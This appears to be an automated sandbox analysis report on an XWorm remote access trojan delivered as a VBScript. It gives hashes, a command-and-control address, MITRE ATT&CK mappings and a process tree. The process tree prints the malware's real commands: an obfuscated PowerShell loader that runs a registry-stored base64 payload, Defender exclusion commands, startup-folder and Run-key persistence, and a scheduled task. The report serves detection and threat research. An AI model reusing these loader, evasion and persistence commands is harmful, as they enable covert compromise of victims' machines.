xworm | 750ba2dad733bc591d8e9d2354db33cb4a86d878c5e138419d5af4a899326111

General

Target

InstallerVbs.vbs
Size

104KB
MD5

bc89449faa6c9e7bb2957178b31866ba
SHA1

1e36383ec2124b42c951047dad01dd19d1f16ffd
SHA256

750ba2dad733bc591d8e9d2354db33cb4a86d878c5e138419d5af4a899326111
SHA512

87db7826c7f701658b782f3542f2bc2b6dd2f153181c770d0bc4c63c3300c10bf33f364590a94ae9d189b4028e965d0ede13ed3a9078a0b58e278ad6390da44f
SSDEEP

3072:vx1nBT1JXFLckxCBv8I0o59j/cDJUt3YU6b/T0rCUdv47:ZF9CNt/QUVYUsQCUdv47

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

mike-algebra.gl.at.ply.gg:55575

Attributes

Install_directory
%AppData%
install_file
XClient.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1176-15-0x000002ABFA5B0000-0x000002ABFA5CA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1176	powershell.exe
4	1176	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1176	powershell.exe
2868	powershell.exe
3532	powershell.exe
4836	powershell.exe
856	powershell.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4116	XClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2748	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5100	timeout.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1176	powershell.exe
1176	powershell.exe
2868	powershell.exe
2868	powershell.exe
3532	powershell.exe
3532	powershell.exe
4836	powershell.exe
4836	powershell.exe
856	powershell.exe
856	powershell.exe
1176	powershell.exe
4116	XClient.exe
4116	XClient.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	856	powershell.exe
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeDebugPrivilege	4116	XClient.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1176	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3968 wrote to memory of 1176	3968	WScript.exe	81
PID 3968 wrote to memory of 1176	3968	WScript.exe	81
PID 1176 wrote to memory of 2868	1176	powershell.exe	84
PID 1176 wrote to memory of 2868	1176	powershell.exe	84
PID 1176 wrote to memory of 3532	1176	powershell.exe	86
PID 1176 wrote to memory of 3532	1176	powershell.exe	86
PID 1176 wrote to memory of 4836	1176	powershell.exe	88
PID 1176 wrote to memory of 4836	1176	powershell.exe	88
PID 1176 wrote to memory of 856	1176	powershell.exe	90
PID 1176 wrote to memory of 856	1176	powershell.exe	90
PID 1176 wrote to memory of 2748	1176	powershell.exe	92
PID 1176 wrote to memory of 2748	1176	powershell.exe	92
PID 1176 wrote to memory of 1132	1176	powershell.exe	96
PID 1176 wrote to memory of 1132	1176	powershell.exe	96
PID 1176 wrote to memory of 1520	1176	powershell.exe	98
PID 1176 wrote to memory of 1520	1176	powershell.exe	98
PID 1520 wrote to memory of 5100	1520	cmd.exe	100
PID 1520 wrote to memory of 5100	1520	cmd.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\InstallerVbs.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\InstallerVbs.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs'; $sacerdocy = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $sacerdocy = -join $sacerdocy[-1..-$sacerdocy.Length];[<##>AppDomain<##>]::<##>('CotterellurrentDomain'.replace('Cotterell','C'))<##>.<##>('periadenitisoad'.replace('periadenitis','L'))([Convert]::FromBase64String($sacerdocy))<##>.<##>('ricedntryPoint'.replace('riced','E'))<##>.<##>('Inlingonberryoke'.replace('lingonberry','v'))($Null,$Null)<##>;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:856
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
    3⤵
    - Creates scheduled task(s)
    PID:2748
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "XClient"
    3⤵
    PID:1132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp46D8.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:5100

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
62KB

MD5
e566632d8956997225be604d026c9b39

SHA1
94a9aade75fffc63ed71404b630eca41d3ce130e

SHA256
b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

SHA512
f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
7d760ca2472bcb9fe9310090d91318ce

SHA1
cb316b8560b38ea16a17626e685d5a501cd31c4a

SHA256
5c362b53c4a4578d8b57c51e1eac15f7f3b2447e43e0dad5102ecd003d5b41d4

SHA512
141e8661d7348ebbc1f74f828df956a0c6e4cdb70f3b9d52623c9a30993bfd91da9ed7d8d284b84f173d3e6f47c876fb4a8295110895f44d97fd6cc4c5659c35

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
856900844f6f1c326c89d0bcfb2f0c28

SHA1
1caad440d46fa8c0cbed4822b4be2bbdddba97c2

SHA256
ae24414ec53b3ae43ddbf1ff7b6643f8bf45281406f6415742f4305360d70a32

SHA512
ed8f421e151d797b33440dd0ddb6d6a5ec93fe7806ad82c60af3f77d545cf5dc319bce67804bd0613bb551a3f01648ec0d1918805dc7342145c8bb23ad12cab4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e8a7ab7bae6a69946da69507ee7ae7b0

SHA1
b367c72fa4948493819e1c32c32239aa6e78c252

SHA256
cd5480d72c1a359e83f7d6b6d7d21e1be2463f2c6718385cc6c393c88323b272

SHA512
89b22519bc3986be52801397e6eff4550621b4804abd2d04f431c9b2591ba8e3eab2625490a56ebb947ba3b122b6186badb6c461e917b69d7e13644c86a6f683

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2bmu4htp.qz5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp46D8.tmp.bat

Filesize
171B

MD5
66650fb88359cbd9d51a5b6eee9a545d

SHA1
b7398c585b00587a5221187bb029f6e12e49bdde

SHA256
0c1535da85adcba01b883e81a9a574cba1e9c87ee82e19e97fbb9e6d210bcc40

SHA512
ec71c5d290952be3eef8a82d02f4ae615ff93becbf3245bcb609dfa18f3afe481baccda5bb5876c130c3cee662764eaed2aa45191879f9a0ac9cf76fc9c476dd

Download Submit
C:\Users\Admin\AppData\Roaming\XClient.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
memory/1176-12-0x000002ABFA5F0000-0x000002ABFA636000-memory.dmp

Filesize
280KB

Download
memory/1176-15-0x000002ABFA5B0000-0x000002ABFA5CA000-memory.dmp

Filesize
104KB

Download
memory/1176-13-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

Filesize
10.8MB

Download
memory/1176-0-0x00007FFB96953000-0x00007FFB96955000-memory.dmp

Filesize
8KB

Download
memory/1176-11-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

Filesize
10.8MB

Download
memory/1176-10-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

Filesize
10.8MB

Download
memory/1176-72-0x00007FFB96953000-0x00007FFB96955000-memory.dmp

Filesize
8KB

Download
memory/1176-73-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

Filesize
10.8MB

Download
memory/1176-74-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

Filesize
10.8MB

Download
memory/1176-75-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

Filesize
10.8MB

Download
memory/1176-9-0x000002ABFA530000-0x000002ABFA552000-memory.dmp

Filesize
136KB

Download
memory/1176-83-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads